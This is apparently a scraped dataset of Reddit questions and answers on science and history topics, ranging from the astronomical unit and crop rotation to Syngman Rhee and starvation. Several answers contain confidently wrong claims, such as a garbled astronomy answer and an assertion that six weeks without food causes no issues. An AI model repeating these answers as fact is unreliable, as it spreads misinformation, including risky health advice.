{"q_id": "298nvv", "title": "Do Stars Disprove a Young Earth/Galaxy?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/298nvv/do_stars_disprove_a_young_earthgalaxy/", "answers": {"a_id": ["ciinwbz"], "score": [4], "text": ["Hey. \n\nI'm sorry you're having a crisis of faith right now -- I know that it can be scary.\n\nI am not an astronomer, and so I cannot directly answer your question. What I can tell you is this: Young Earth-ism has no basis in science. To the extent that it makes \"predictions,\" there are literally libraries filled with counterexamples. If you live in a major city, you may want to visit your local geology museum. Maybe even contact them in advance and let them know about your interests/concerns.\n\nThe biggest problem with Young Earthism, and the reason that no scientist takes it seriously, is because of how it deals with counterexamples. The standard Young Earth answer, as far as I'm aware, to things being more than 6000 light years away is \"Well, 'the universe' or 'god' conspired to make it look like things are older than 6000 years.\" That is patently not science.\n\nSo, to the extent that Young Earth is scientifically testable, it is wrong. The parts of it which are not testable are not science."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "y4i3p", "title": "History buffs of Reddit, what can you tell me about 1886?", "selftext": "I just found out that the building I just moved into was built in 1886 and I think it might be fun to honor that year/era/respective decade in my decor. Help me out with some informative inspiration?\n\nAnd I live in Chicago if that adds to anyone's answers.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/y4i3p/history_buffs_of_reddit_what_can_you_tell_me/", "answers": {"a_id": ["c5s9cot", "c5scdlr", "c5sck73", "c5sd2si", "c5silca"], "score": [12, 3, 2, 3, 3], "text": ["[Here](_URL_0_) is the Wikipedia page for 1886, if that helps.", "It didn't happen anywhere near Chicago, but 1886 was the year of the first successful automobile, made in Stuttgart by Karl and Bertha Benz.\n\nI may be biased as someone who is passionate about the history of technology, but I would say that has to be the most important thing about 1886, given the impact automobiles have had on the world since then.\n\n_URL_0_", "The [Anti-Chinese riots](_URL_2_) make for lovely interior design.  Maybe the [burning of Vancouver](_URL_0_)?  [Frostbitten cattle](_URL_1_)?", "The [Witwatersrand Goldfields](_URL_0_) were declared in the South African Republic (ZAR), and the foundation of Johannesburg dates from that year.  It was the largest gold strike in history to that time, and it may still hold that distinction.  (If you don't like Wikipedia, Charles van Onselen's *New Babylon, New Nineveh* is still the authority on society and economy in the area before 1914.)", "The 1880s were a key decade for the labor movement in Chicago. 1886 in particular witnessed the infamous [Haymarket Riot](_URL_0_): a peaceful pro-labor rally ended with a bomb explosion and subsequent police gunfire. \n\nThere's a famous statue dedicated to the victims in Forrest Park.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/1886"], ["http://en.wikipedia.org/wiki/Benz_Patent-Motorwagen"], ["http://en.wikipedia.org/wiki/Great_Vancouver_Fire", "http://en.wikipedia.org/wiki/Winter_of_1886%E2%80%931887", "http://en.wikipedia.org/wiki/Seattle_riot_of_1886"], ["http://en.wikipedia.org/wiki/Witwatersrand_Gold_Rush"], ["http://en.wikipedia.org/wiki/Haymarket_affair"]]}
{"q_id": "92683v", "title": "how pack animals formulate strategies without language", "selftext": "Say you have a pack of wolves, or a pride of lions, how do they formulate and communicate a plan of attack, without the ability to articulate complex ideas? Is it merely physical cues, or do they have a complex vocabulary, just not one humans would interpret as a language?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/92683v/eli5_how_pack_animals_formulate_strategies/", "answers": {"a_id": ["e33d6hc", "e33nbh6", "e33q01o"], "score": [9, 2, 4], "text": ["I mean humans can do it too. We do it in hunting/sports/military/diving all the time. You just point at someone and gesture. If you have done it enough and have good enough spatial awareness you can work out what is best for you to do in a given situation.\n\nWe use non verbal communication all the time, socially and in \u2018active\u2019 situations.", "They don't \"formulate\" strategies, they just follow a simple rule given by mother nature: \"If your friend is chasing a prey, then chase that prey too, but in a little different direction\". There's no need for complex language so... yes, it's merely physical cues.", "Probably not possible to ELI5. Philosophers have debated the issues for hundreds of years. To start: define language. Some would say lions, deer, and even bees DO have language just a primitive form of it. There are botanists who argue that trees have a very primitive form of language. The philosopher Donald Davidson did a lot of work in this area in the 1970s, practically became obsessed with it. Davidson once infamously said, \"there is no such thing as language.\"  Then there are linguists like Noam Chomsky who think Davidson is wrong.\n\nELI5: endless debate\n\nedit: typos."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ax6iga", "title": "if crops have to be rotated often, how can trees (food producing or non) live and thrive in the same spot for decades?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ax6iga/eli5_if_crops_have_to_be_rotated_often_how_can/", "answers": {"a_id": ["ehrgadk", "ehrgd35", "ehs7nyw"], "score": [22, 9, 3], "text": ["A couple of reasons.  Crops are mono-culture meaning there\u2019s one thing growing. And then most of the plant is harvested. This depletes the soil of nutrients. A forest with trees is highly diverse. Each plant brings a specialty to the party which is good for the forest. ", "Leaves and branches from the tree drop and return their nutrients to the ground. Food crops are taken away, and the nutrients in those plants are gone.\n\nCrop rotation is necessary to rebuild the lost nutrients (eg by planting nitrogen-fixing plants). We can also use fertilisers to get around this.", "Everybody seems to be discussing nutrient cycling in monocrop systems but not the buildup of pest pressures and soil pathogens if certain crops are repeatedly grown in the same ground. This is another hugely important reason for crop rotation and it actually can be an issue in orchards as well. In forests (especially natural forests), biodiversity is quite high and so pests and pathogens get to a point of equilibrium. In orchards, biodiversity is low and pest pressure can build up. \n\nMany orchards, especially now a days, work to increase biodiversity by intercropping different plants in between the rows of trees or by planting trap / sacrifice plants around the perimeter of the orchards. I know a large number of avocado groves in my area have plants around the perimeter that, for ease of explanation, are more enticing to specific pests than the avocado trees themselves. The thought (and it has been proven to work) is that the pests go for these perimeter plants and leave the avocados alone. Or at least they significantly reduce the impact of pests on the avocado trees. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "z4zbj", "title": "What is the likelihood of a major food crisis? How can we stop it? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z4zbj/what_is_the_likelihood_of_a_major_food_crisis_how/", "answers": {"a_id": ["c61jnwb", "c61l8sg"], "score": [12, 2], "text": ["Due to the oil intensive nature of modern agriculture, major food crisis will likely be precipitated by significant disruptions to oil markets and supplies, i.e. trouble with Iran and the Straight of Hormuz. Modern agriculture is increasingly consolidated into the hands of fewer and larger companies. Really the only way to avoid large scale food crisis is to promote decentralization of food production such that a significant portion of food production is shifted into ones own backyard or neighboring small farms. This will mitigate the oil reliance and the risk of putting too many eggs in the mega farm basket. \n\nTL:DR-Grow a garden.", "I think this will probably be more of a danger to the food supply than climate change, but when you mix the two they don't bode well for the future of cheap food:\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.m.wikipedia.org/wiki/Peak_oil"]]}
{"q_id": "c42ji6", "title": "how is an astronomical unit (au), which is equal to the distance between the earth and sun, determined if the distance between the two isnt constant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c42ji6/eli5_how_is_an_astronomical_unit_au_which_is/", "answers": {"a_id": ["eruljbq", "erulkrl", "erumdv8", "eruuw3c", "eruwnw1", "erv5y4x", "erva6tf", "ervajfx", "ervjeoc", "ervreud", "erw4heg", "erwk36i"], "score": [3, 52, 2090, 32, 167, 2, 16, 2, 2, 10, 2, 2], "text": ["It is essentially the average between the furthest and closest distance between earth and the sun.", "An AU is defined as the *average* distance between the Earth and the Sun, not the *absolute* distance, which charges throughout the orbit.\n\nThe distance itself was determined over many years by sending out probes to help measure the true distance between the Earth and Sun, in order to model the orbit mathematically and find the average.", "Wikipedia has a perfect explanation:\n\n >  Originally conceived as the average of Earth's aphelion and perihelion, since 2012 it has been defined as exactly 149597870700 metres, or about 150 million kilometres (93 million miles).\n\nI\u2019m just surprised it took them so long to define it as a fixed distance/number since Earth\u2019s orbit (and our measurements of it) can change ever so slightly.\n\nFor everyone asking (or being annoyed) why it\u2019s not 150Gm: I guess they didn\u2019t want to make past equations invalid, so the definition had to fit the last measurement.", "Like the speed of light, the AU is something we used to measure, but is now a defined value.\n\nOriginally, though, the AU was the mean distance between the center-of-mass points of the Earth and sun.  More specifically, it was the *geometric* mean of this distance, not the time-averaged distance.  If you average over time instead of spatial position, you get a different (larger) value for the AU.", "Not the original post because I was very wrong. We define the Astronomical Unit as the mean distance from our planet to the center of our sun. To get a rough estimate, we take the furthest point in our orbit (aphelion) and the closest point in our orbit (perihelion), add them together and divide by 2. This gives us a number close to 150 million kilometers. Hope this was a bit more accurate this time, thanks for the corrections everyone. Hooray for peer review!\n\nPhil Plait does a great job explaining it in this Crash Course Astronomy video if you are more of a visual learner! _URL_0_", "Just a note to the non-moon landing believers...astronauts who landed on the moon set and left mirrors.  With these, a laser target was established which gave NASA the ability to measure the distance exactly.  NASA still does this every now and again.", "Not unlike mean sea level (MSL) which is the foundation upon which the height of all terrestrial things are measured.", "Every orbit has two points: the perihelion where the body is closest to what it is orbiting and the aphelion where it is the furthest apart. In order to calculate the AU accurately, astronomers averaged the perihelion and aphelion of the Earth's orbit. This gives us a surprisingly accurate unit of measurement. It's not perfect, but on the scale of celestial bodies, its accuracy is sufficient.", "Like lots and lots of units we use, it has only a vague relation to reality. We always talk about height above sea level, but the sea level varies by up to 40 feet from high tide to low tide. Even if you average out the tides, the average sea level varies depending on where you are on the earth due to varying gravity, temperature, air pressure, currents, winds, etc. To solve this, scientists just have to get together and define a reference sea level in terms of things that don't change.\n\nSimilarly, a day is defined as 86400 seconds, but an actual rotation of the earth varies by a few milliseconds from day to day. To get around this, the second was redefined to be based on something that doesn't change (essentially the vibration of atoms), and our clocks are kept in sync with the Earth's rotation by adding leap seconds where necessary.\n\nYou get even more precise, and it turns out that mass measurements aren't even constant. We had a so-called \"reference kilogram\", which was a hunk of metal that was defined as being exactly one kilogram. However, it turned out that this hunk of metal, when weighted with extremely precise methods, was varying in weight from month to month by .00003 grams or so. No one knows exactly why (perhaps it was absorbing gas from the air or being contaminated when measured), but earlier this year scientists decided to redefine the kilogram based on things that don't change (namely the second, which I described above, and the meter, which is based on the speed of light).", "Is an AU more than a \"tad\"?\n\n ELAINE\n              (to passengers)\n         Please, ladies and gentlemen, please calm\n         down.  Listen to me!\n\nThey calm down.\n\n                        ELAINE\n         We've been thrown off course just a tad.\n\n                        PASSENGER\n         What's that mean?\n\n                        ELAINE\n         In space terms, about 70 million miles.\n\nThe Passengers appear interested and sensible, nod their\nheads.\n\n                        ELAINE\n         The bumps you feel are car-sized asteroids\n         smashing into the hull.\n\nThe hood of a car smashes through the cabin wall.  The\nPassengers still appear interested and sensible.\n\n                        ELAINE\n         Also, we're heading right for the sun and\n         can't seem to change course.\n\nPassengers still appear interested and sensible.  They all\nput on sunglasses.\n\n                        PASSENGER\n         Are you telling us everything?\n\n                        ELAINE\n         Not exactly.  We're also out of coffee.\n\nThe Passengers errupt in total panic.", "As others have said, it's the average of the minimum and maximum distance between Earth and the Sun (and later defined as a fixed number). However, there's a more precise mathematical definition for it.\n\nEarth's orbit is an ellipse with the Sun at one focus. The longest distance you can measure across an ellipse happens to be the line passing through the Sun and the nearest and farthest points of Earth's orbit (the perihelion and aphelion). This line is called the major axis, and the Astronomical Unit was originally defined as half of this distance--the semi-major axis.\n\nThe semi-major axis is not exactly the average distance between Earth and the Sun, though. It turns out if you average over time, you get a slightly larger distance. If you average over angle, you get a smaller distance. The semi-major axis is only the average distance if you average over the eccentric anomaly, which is a weird angular quantity that doesn't particularly relate to anything physical.", "When doing my initial BA in astrological physics, had this one teacher break it down so the whole AU unit didn\u2019t make the class trip. AU, as you do eloquently put it, does indeed have a differences at a inconstant rate of change. However, the rate of change at any given time has been quantified and can be used to find calculate the AU to a very small, and I mean VERY small, margin of error. So, with the distance from the earth to the sun at the closest point, on July 23, when can know by following the orbit of the earth how far that distance really is. The equation uses time and distance with a sliding decay algorithm for most AU functions. Hope this helped simplify it like it did for me \ud83d\ude01"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=CWMh61yutjU"], [], [], [], [], [], [], []]}
{"q_id": "77yel6", "title": "when the water level drops in a saltwater aquarium, why is in necessary to add more salt when you add more water?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77yel6/eli5_when_the_water_level_drops_in_a_saltwater/", "answers": {"a_id": ["dopnhd9"], "score": [8], "text": ["It's not. The salt is still in the aquarium. If you add more salt to an aquarium to fill it up from simple evaporation you'll kill everything in the tank. Only add in the water to get the tank to the water level it was at before. It's better to do this a little at a time over the course of the week instead of waiting until the end of the week and adding It all at once."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8bdh4g", "title": "why can't doritos evenly season their chips? is chip seasoning technology that complex?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8bdh4g/eli5_why_cant_doritos_evenly_season_their_chips/", "answers": {"a_id": ["dx5vjaa", "dx5we7v"], "score": [2, 2], "text": ["a) I don't know specifically how Doritos does it, but other chip makers season the chips by tumbling them in a drum into which the flavor mixture is poured (in powder form).  The powder adheres to the chips, but it's not going to be perfect due to any number of reasons, or in shipping/handling as DogD666 suggested.\n\nb) Personally, the chip on the left is the entire reason I eat Doritos; those rare mega-flavored chips are the best and wouldn't exist without weak-chip for comparison.", "An engineer probably figured out that they can save $4 million a year by under-coating 38% of their chips and have the consumers not notice. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "257qtg", "title": "Is Syngman Rhee a popular figure in South Korea? Is he seen as the man who heroically challenged totalitarian dominance over all of Korea? Or is he seen as a tyrant who was happy to sacrifice many Korean lives to fulfill his goal of becoming dictator of Korea?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/257qtg/is_syngman_rhee_a_popular_figure_in_south_korea/", "answers": {"a_id": ["chepal5"], "score": [26], "text": ["South Korean society isn't homogeneous so as with most questions like this it depends on who you ask. His historical status was broadly eclipsed by Park Chung-hee, who was in most respects far more directly responsible for making South Korea what it is today (for good or ill). People don't necessarily tend to have a particularly strong opinion on Rhee, whereas Park continues to be an extremely divisive figure. For instance, in 2008 a major Korean newspaper ran an opinion poll on 'the greatest South Korean president': while Park came top by an overwhelming margin with 56%, Rhee came second to last with a paltry 1.9%. [1]\n\nIn contrast to Park the literature on present Korean feelings about Rhee is basically absent -- at least in English -- so I can't go into great detail on that directly with much reliability. (This absence in itself is indicative to some extent.) I can recapitulate some of the relevant history, however, because it's worth noting that a lot of the negative sentiment over Rhee does not stem from his participation in the Korean War, but from his behaviour later in his presidency and, to a lesser extent, prior to the War.\n\nRhee became an incredibly unpopular figure because he presided over a stagnant economy while adopting increasingly heavy-handed tactics in the political arena. The final straw came when he attempted to rig the 1960 vice-presidential elections -- vice-presidential since he was the only candidate in the presidential elections. Protests over electoral fraud led to an escalating cycle of violence that ultimately forced the US to intervene to get rid of Rhee. [2]\n\nOn the other hand, prior to the War there is a general feeling -- justified to some extent -- that Rhee was essentially parachuted in from the US as a reliable anticommunist. Rhee was inveterately Westernised -- he had spent a great deal of time in the United States and even his wife was European. Contrary to later impressions Rhee did have a popular support base in South Korea -- for one because he could play on a vestigial family link to the Yi dynasty which had ruled Korea prior to the Japanese takeover -- but his background certainly did not help his legacy once anti-American sentiment began to emerge in South Korea in force during the 1970s/80s. [3]\n\nSo while the Korean War of course *is* a hot-topic issue to some extent there are probably more radical reasons for Syngman Rhee to be treated with some distance by modern South Koreans -- but at the same time, public controversy over him is actually rather muted compared to his successors.\n\nIn terms of Rhee's role in the Korean War -- while there are well-known anecdotes about him prolonging the war, many anti-establishment South Koreans tend to blame America for the division of Korea in the first place rather than Rhee for the War itself, understandably given that he is understood as a second-order actor in that narrative anyway (ie an American puppet). [4]\n\n---\n\n[1] Jinwung Kim (2012), *A History of Korea*, p. 473.\n\n[2] The events are recounted in Han Seung-ju (1974), *The Failure of Democracy in Korea*, pp. 27-31.\n\n[3] For a brief summary see Louis Hayes, *Political Systems of Asia: China, Korea, Japan*, pp. 111f.\n\n[4] See for example Meredith Woo-Cumings, 'Unilateralism and its Discontents', in David Steinberg (ed.) (2005), *Korean Attitudes Toward the United States: Changing Dynamics*, here p. 56."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ev7pb", "title": "Are there any place/location names currently that, at the point in history they were named, would have been seen as ridiculous or absurd? eg: Justin Bieber State Park or Linsday Lohan Federal Building", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ev7pb/are_there_any_placelocation_names_currently_that/", "answers": {"a_id": ["ca45ttj", "ca45u4w", "ca48yh1"], "score": [25, 27, 11], "text": ["The traditional (Anglo-American) practice was that nothing could be named for a living person.  The wisdom of this was reinforced when California opened the Richard Nixon Freeway, soon renamed the Marina Freeway.", "[Truth or Consequences, New Mexico](_URL_0_) renamed itself after a popular radio quiz show in 1950 so NBC would broadcast an episode from there.", "Nathan Bedford Forrest Park was opened in 1905 in Memphis, TN. Due to various economic and other factors, the black population of Memphis had been growing at the end of the 19th century relative to the overall population and had in fact passed 50% of the population. As part of a [concerted effort](_URL_0_) to remind blacks of their place, white Mephians built, among other things, Nathan Bedford Forrest Park.\n\nI don't know if this precisely fits your question since it would have been patently absurd to only about half the population at the time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Truth_or_Consequences,_New_Mexico"], ["http://cwmemory.com/2013/02/20/why-a-monument-to-forrest-in-memphis-in-1905/"]]}
{"q_id": "m5ob0", "title": "Could you eat your own limbs to postpone starvation?", "selftext": "Lets say you are stranded alone in the mountains, stuck in a cave somewhere. You are out of any form of food and are near starvation. Could you hypothetically cut off one of your own limbs and cauterize the wound and subsequently consume your own flesh to postpone your eventual death from starvation? Or would the damage you deal cost more energy then you would gain from your starved limb?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/m5ob0/could_you_eat_your_own_limbs_to_postpone/", "answers": {"a_id": ["c2yavmb", "c2ych00", "c2yavmb", "c2ych00"], "score": [8, 6, 8, 6], "text": ["Hopefully an MD will come answer this but your body does a pretty good job of breaking itself down and metabolizing your fat and muscles when you are in starvation mode. I'm not sure its possible to quantitatively do the energy arithmetic of cutting off your own arm, but the act of experiencing a that much pain and possibly going into shock is going test the resolve of even the toughest explorer. \n\nPsychological state can't be underestimated in extreme situations. Tough people have survived ridiculous situations (see Aron Ralson), and on the other end of the spectrum people who have given up and gone into shock can waste away in a day or so.", "You basically eat your own body by not eating. Its called catabolism. Your muscles are used for glucose for a few days until your body enters ketosis, and your brain switches from glucose to ketone bodies for fuel, this is called muscle-sparing metabolism. \n\nYou can survive for many many weeks without food. Cutting your limbs off would be the worst thing you could do for several reasons:\n\n1. Inability to stop the bleeding or losing too much blood, leading to hypovolemic shock and quickly leading to death, also causing your body to stimulate hematopoiesis(creating new blood from your red bone marrow), which would waste more energy. \n\n2. Massive infection, leading to sepsis, and a very agonizing death.\n\n\nWhat are you really accomplishing by doing this? Satiating yourself? Your body would catabolise your tissues safely, and more efficiently. \n\nAs long as you have water, satiety means nothing. I've personally fasted for 40 days with nothing but water, and the food cravings go away after a week or so.\n\nIn survival mode, a healthy person of 180 pounds would survive for 6 weeks without any issues at all. If you were 250 pounds, you could survive much longer. There have been documented cases of obese individuals surviving over a year without any food intake.\n\n\n\n", "Hopefully an MD will come answer this but your body does a pretty good job of breaking itself down and metabolizing your fat and muscles when you are in starvation mode. I'm not sure its possible to quantitatively do the energy arithmetic of cutting off your own arm, but the act of experiencing a that much pain and possibly going into shock is going test the resolve of even the toughest explorer. \n\nPsychological state can't be underestimated in extreme situations. Tough people have survived ridiculous situations (see Aron Ralson), and on the other end of the spectrum people who have given up and gone into shock can waste away in a day or so.", "You basically eat your own body by not eating. Its called catabolism. Your muscles are used for glucose for a few days until your body enters ketosis, and your brain switches from glucose to ketone bodies for fuel, this is called muscle-sparing metabolism. \n\nYou can survive for many many weeks without food. Cutting your limbs off would be the worst thing you could do for several reasons:\n\n1. Inability to stop the bleeding or losing too much blood, leading to hypovolemic shock and quickly leading to death, also causing your body to stimulate hematopoiesis(creating new blood from your red bone marrow), which would waste more energy. \n\n2. Massive infection, leading to sepsis, and a very agonizing death.\n\n\nWhat are you really accomplishing by doing this? Satiating yourself? Your body would catabolise your tissues safely, and more efficiently. \n\nAs long as you have water, satiety means nothing. I've personally fasted for 40 days with nothing but water, and the food cravings go away after a week or so.\n\nIn survival mode, a healthy person of 180 pounds would survive for 6 weeks without any issues at all. If you were 250 pounds, you could survive much longer. There have been documented cases of obese individuals surviving over a year without any food intake.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "y1n4s", "title": "Faked, Forged, Or Felonious History?", "selftext": "Sorry, I had to get my alliteration in.  The recent pulling of David Barton's execrable Jefferson book (which surprised me that it was yanked by its publisher -- news story here: _URL_0_) got me thinking about histories -- whether popular or academic -- that were found to be so specious, fraudulent, or otherwise bad that they created mini-scandals.  Off the top of my head I could think of some famous controversies -- O'Reilly's Lincoln book, *Stern* magazine's Hitler Diaries in the 80s, the 1990's Jack the Ripper Diaries -- these were all pretty well known.  But in my field, I know there have been doubts or concerns about other books or even well-known sources.\n\nWhen I was doing one of my graduate papers on folklife in the South, one of my mentors cautioned me against using *Gumbo Ya Ya*, as he stated there had been problems found with some of the stories.  I remember even a sort of -- if not mini-scandal -- but cautionary tale on the WPA slave narratives.  As good as a primary source as these have been, someone did a detailed analysis and found that a handful of the interviews were effectively duplicates -- that various narratives were near verbatim down to the number of lashes a slave received, etc.  What had apparently happened was that a few of the interviewers, getting paid per interview, found it more expedient to take one interview and forge a set of them for quick payment, assuming they had not made the original interview out of the cloth entirely!  (I believe there was an article in the *Journal of Southern History* on it, a but a quick search of JSTOR did me no favors in terms of the numbers of hits.  I'll see if I can't figure out the citation later this weekend.)  \n\nSo, \\AskHistorians, my question:  What well known or even obscure counter-factual primary or secondary source stories do you have in your field?  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/y1n4s/faked_forged_or_felonious_history/", "answers": {"a_id": ["c5ri5db", "c5rii6o", "c5riuxg", "c5rlmmt", "c5s88f5"], "score": [5, 11, 5, 4, 3], "text": ["You just made me vaguely remember something and now I'm desperately looking for the source.\nEDIT: Nevermind. It seems my mind is failing me, I'll go sit in the corner now.", " > otherwise bad\n\nThe Goldhagen book falls under this category, I don't think I have ever read a history book that came off as such utter crap to me. He was useful in creating a new line of dialogue regarding the Holocaust but otherwise it was only useful in providing me with more to write about during my historiography grad work. ", "The [David Abraham Affair](_URL_0_) comes to mind.", "There's a better than passing case that Morton Smith's *Secret Mark* was a hoax, laid out by Carlson (*The Gospel Hoax*) and Jeffery (*The Secret Gospel of Mark Unveiled*).", "I don't know if this falls under felonious history, but the [Kennedy Document Hoax](_URL_0_) comes to mind in terms of laying the groundwork for forged history.  I seem to recall a case where some of the JFK investigation files at the Archives were tampered with by a \"historian\" inserting false documents that had to be located and culled the hard way, but the details escape me right now.\n\n"]}, "title_urls": [], "selftext_urls": ["http://www.npr.org/blogs/thetwo-way/2012/08/09/158510648/publisher-pulls-controversial-thomas-jefferson-book-citing-loss-of-confidence"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Henry_Ashby_Turner#David_Abraham_Affair"], [], ["http://en.wikipedia.org/wiki/John_F._Kennedy_document_hoax"]]}
{"q_id": "2e7nm1", "title": "How did current research/publishing standards come about?", "selftext": "Nowadays there are a myriad of journals in all sorts of topics, some more respected than others. To perform and publish research at such a level requires not only a number of qualifications but also a specific set of methods. How did we come to the standards of today, is there such a thing as \"history of research methods and standards?\"", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2e7nm1/how_did_current_researchpublishing_standards_come/", "answers": {"a_id": ["cjwxyta"], "score": [3], "text": ["Broadly this is historiography, but I'd like to correct a couple of misconceptions. A book I'd recommend is (ed.) Bentley, M., [*Companion to Historigraphy*](_URL_0_), (London, 1997).\n\n >  requires qualifications\n\nNot in history. If you produce research, whether a book or article, which is of a sufficient standard to pass the anonymous review process then your research will be published. You do not need a degree to do so. An undergraduate student I tutored is preparing his dissertation for publication as an article, at the recommendation of his markers, and there was a prominent Anglo-Saxon scholar in the twentieth-century who possessed an M.D. rather than a Ph.D., as a couple of examples.\n\n >  some more respected than others\n\nAnyone can set up a journal, especially in the digital age, and certain journals have earned their reputation because they rigorously enforce their editorial process. The standards are, generally, that the articles have been subject to anonymous review by a specialist in the field and judged worthy of publication, including advice and feedback which must be implemented before publication. \n\n >  A specific set of methods\n\nResearch methods are much more fluid than you seem to imagine, they very wildly from historian to historian, and the process of peer review (which forms a large part of a journal's functions) is essential to understanding and publicising the veracity of claims and shaping the direction of a field within history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.h-net.org/reviews/showrev.php?id=1891"]]}
{"q_id": "fra37", "title": "Rope around the planet", "selftext": "If you wrapped a rope around the planet (say, at the equator), with one end attached to your back and the other end in your hands, is it possible to pull on the rope, such that it would be taut? In other words, would it be possible to make the rope \"float\" above the ground? Assume the person pulling on the rope was insanely strong, bro. Like, super ripped, dog.\n\nI've made this image to illustrate:\n_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fra37/rope_around_the_planet/", "answers": {"a_id": ["c1i1dkp", "c1i1eem", "c1i1lfc", "c1i1shm", "c1i1w5i", "c1i2zla"], "score": [8, 4, 2, 3, 2, 2], "text": ["Try it with a globe and get back to me.", "_URL_0_\n\nI bet the exact shape the rope takes on makes a really nasty calculus of variations problem.", "So after you manage this, tie the two ends together..you will have created a ring around the earth that levitates! ", "Why would it float? I think you may be thinking of a stiff ring, as opposed to a rope. At any point on the rope the only force acting on it would be gravity, always pulling it in (except for the forces of the rope pulling on it's self in tension as it fell to the ground (small, random and probably net 0). \n\nIf it was a solid ring then it may be feasible, and an interesting thought. It could also work if the rope were spinning, but I guess that would be orbit. ", "It would be like wrapping a rope round a round object, it pulls to against the object. If it is 'perfectly taut', the rope will go to a straight line to the horizon, as one would draw around you. The point where it touches will be perfectly parallel to the surface there, and the wire goes round until it is on the horizon the other way of the rope again.\n\nIf it isn't perfectly taut, i guess it will just be nearer to the globe somehow.\n\nIf the radius is R, height is H, and in-air length you-to-horizon is L, then since it is parallel to the ground, you can use Pythagoras to determine L and then get the angle you're at with any of L/R, L/(R+H), R/(R+H).(tan,cos,sin) I'll leave it as an exercise.\n\nBtw the answer is no, gravity pulls down, it doesn't warp the whole roundness straight.", "When pulled tight it would look like [this](_URL_0_)."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/t9H3C.png"], "answers_urls": [[], ["http://i.imgur.com/D7WKv.png"], [], [], [], ["http://i.imgur.com/xSNw3.png"]]}
{"q_id": "22nb4m", "title": "what is an activist investor, and why are large public corporations afraid of them? what do they change about a company they are interested in?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22nb4m/eli5_what_is_an_activist_investor_and_why_are/", "answers": {"a_id": ["cgohiw2"], "score": [5], "text": ["An activist investor is one who purchases shares with the intent of utilizing the voting rights of those shares to achieve an agenda.  This could be - for example - purchasing shares in WalMart to using your voting power to encourage labor and wage reform.  On the extreme end, a wealthy activist investor can use their power to get a board seat and that have a strong and direct influence.  \n\nWhy do companies dislike them?  Well...the activist may have an agenda that the company disagrees with.  WalMart has a clear strategy that so far has not resulted in wage increases to the degree some might like.  So...this activist investor pushes for that change and rocks the boat. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5ntopw", "title": "what means \"industry 4.0\"?", "selftext": "I'm a mechatronics-technican trainee and i visited the SPS IPC DRIVES convention in Nuermberg (Germany) back in November 2015. Everybody keept talking about \"Industry 4.0\" there and im curious what that means?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ntopw/eli5_what_means_industry_40/", "answers": {"a_id": ["dce8qp8", "dce8scf"], "score": [3, 2], "text": ["What means [Industry 4.0](_URL_0_), you asks? Industry 4.0 is  current trend of automation and data exchange in manufacturing technology. Includes cyber-physical system, the Internet of thing, and cloud computer.[1][2][3]\n\nIndustry 4.0 create what we call \"smart factory\". In modular structure smart factory, cyber-physical systems monitor physical process, creates a virtual copy of the physical world, and make decentralized decision. Over the Internet of Things, cyber-physical systems communicates and cooperates with each others and with humans in real time, and via the Internet of Services, both internal and cross-organizational services are offered and used by participants of the value chain.[1]", "You can track major overhauls in the history of human industry in (now) 4 stages. Each one was brought about by a revolution from the previous way of doing things. \n\nMechanised (water/steam power), production line/mass production (electricity), computerised and automated, full automated/cybernetic manufacture managed by AI.\n\nBasically submit an order to a factory for X items of Y. Out come the items. No people needed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Industry_4.0"], []]}
